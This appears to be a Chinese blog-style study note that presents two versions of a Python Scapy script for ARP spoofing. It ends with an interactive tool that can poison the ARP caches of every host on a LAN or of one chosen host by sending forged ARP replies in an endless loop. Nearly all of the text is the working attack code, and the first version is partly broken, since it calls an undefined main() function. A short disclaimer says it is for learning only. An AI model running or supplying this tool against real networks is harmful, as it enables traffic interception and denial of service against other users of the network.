前言
记录一些学习经验、遇到的问题
仅用于对协议报文学习,了解攻击原理,请勿用于恶意攻击
一、基础设置
1.ARP欺骗(版本1)
1、初始版本,需要在文件里面手动更改对应MAC和IP
from scapy.all import *
from scapy.layers.l2 import ARP, Ether
### 查询单个IP的MAC地址
def arp1():
arpsrc = "11:11:11:11:11:11" # 虚假对象的MAC地址
arpdst = "ff:ff:ff:ff:ff:ff" # 攻击的对象MAC地址(广播攻击所有机器)
arpdst = "22:22:22:22:22:22" # 攻击的对象MAC地址(攻击特定主机)
arpsrcip = "192.168.1." # 虚假对象的IP
arpdstip = "192.168.1.1" # 攻击对象的IP
arpPkt = Ether(dst=arpdst,src=arpsrc) / ARP(psrc=arpsrcip,hwsrc=arpsrc,pdst=arpdstip,hwdst=arpdst,op=2)
# 报文格式:Ether的dst为攻击对象,ARP的op=2为reply报
# 发送arp请求,并获取响应结果。设置1s超时。
res = srp1(arpPkt, timeout=1, verbose=1) # srp1发送并接受,timeout 超时丢弃,verbose 显示详细内容
if __name__ == '__main__':
main()
2.ARP欺骗(版本2)
1、dos界面
2、两种攻击模式(①无差别,②特定主机)
3、判断IP地址格式
from scapy.all import *
from scapy.layers.l2 import ARP, Ether
### 查询单个IP的MAC地址
def arp_attack():
while True:
print("攻击模式:1、无差别攻击。2、特定主机")
attackmode = input() # 输入攻击模式
if attackmode == "1": # 调用
attack_mode1()
break
elif attackmode == "2":
attack_mode2()
break
else:
print("输入错误,请重新输入")
### 攻击模式:1、无差别攻击
def attack_mode1():
localip = socket.gethostbyname(socket.gethostname()) # 获取本机ip
arpPkt = Ether() / ARP(pdst=localip)
res = srp1(arpPkt, timeout=1) # 发送arp查询本机IP的MAC地址
arpsrcmac = res.hwsrc # 本机MAC地址
arpsrcip = judge_ip("请输入要伪装那一台主机IP:") # 伪装的IP
arpdstmac = "ff:ff:ff:ff:ff:ff" # 攻击的对象MAC地址(广播攻击所有机器)
arpdstip = ""
attack_message(1, arpsrcmac, arpdstmac, arpsrcip, arpdstip)
### 攻击模式:2、特定主机
def attack_mode2():
localip = socket.gethostbyname(socket.gethostname()) # 获取本机ip
arpPkt = Ether() / ARP(pdst=localip)
res = srp1(arpPkt, timeout=1) # 发送arp查询本机IP的MAC地址
arpsrcmac = res.hwsrc # 本机MAC地址
arpsrcip = judge_ip("请输入要伪装那一台主机IP:") # 伪装的IP
arpdstip = judge_ip("请输入要欺骗主机的IP地址:") # 欺骗的IP
arpPkt = Ether() / ARP(pdst=arpdstip)
res = srp1(arpPkt, timeout=1) # 发送arp查询要欺骗主机IP的MAC地址
arpdstmac = res.hwsrc # 攻击的对象MAC地址
attack_message(2, arpsrcmac, arpdstmac, arpsrcip, arpdstip)
### 发送攻击报文
def attack_message(attackmode, arpsrcmac, arpdstmac, arpsrcip, arpdstip):
if attackmode == 1: # 无限循环发送广博包欺骗
arpPkt = Ether(dst=arpdstmac) / ARP(psrc=arpsrcip, hwsrc=arpsrcmac, op=2) # 报文格式:Ether的dst为攻击对象,ARP的op=2为reply报
res = srploop(arpPkt, timeout=1) # srploop循环发送并接受,timeout 超时丢弃,verbose 显示详细内容
if attackmode == 2: # 无限循环发送广博包欺骗
arpPkt = Ether(dst=arpdstmac,src=arpsrcmac) / ARP(psrc=arpsrcip,hwsrc=arpsrcmac,pdst=arpdstip,hwdst=arpdstmac,op=2) # 报文格式:Ether的dst为攻击对象,ARP的op=2为reply报
res = srploop(arpPkt, timeout=1) # srploop循环发送并接受,timeout 超时丢弃,verbose 显示详细内容
### 判断IP地址是否合适
def judge_ip(str1):
while True:
print(str1)
arpdstip = input()
# 判断是否是否是有效IP地址格式
a = arpdstip.split(r".")
if len(a) == 4: # 判断是否为四个段落
for i in a: # 拆分判断
if not i.isdigit() or int(i) < 0 or int(i) > 255: # 不为数字,不小于0,不大于255
print("输入错误" + arpdstip + "不符合IP地址格式,请重新输入")
arpdstip = None
break
if not arpdstip is None: # 经过多重检查后判断输入是否正常
break
else:
print("输入错误" + arpdstip + "不符合IP地址格式,请重新输入")
return arpdstip
if __name__ == '__main__':
arp_attack()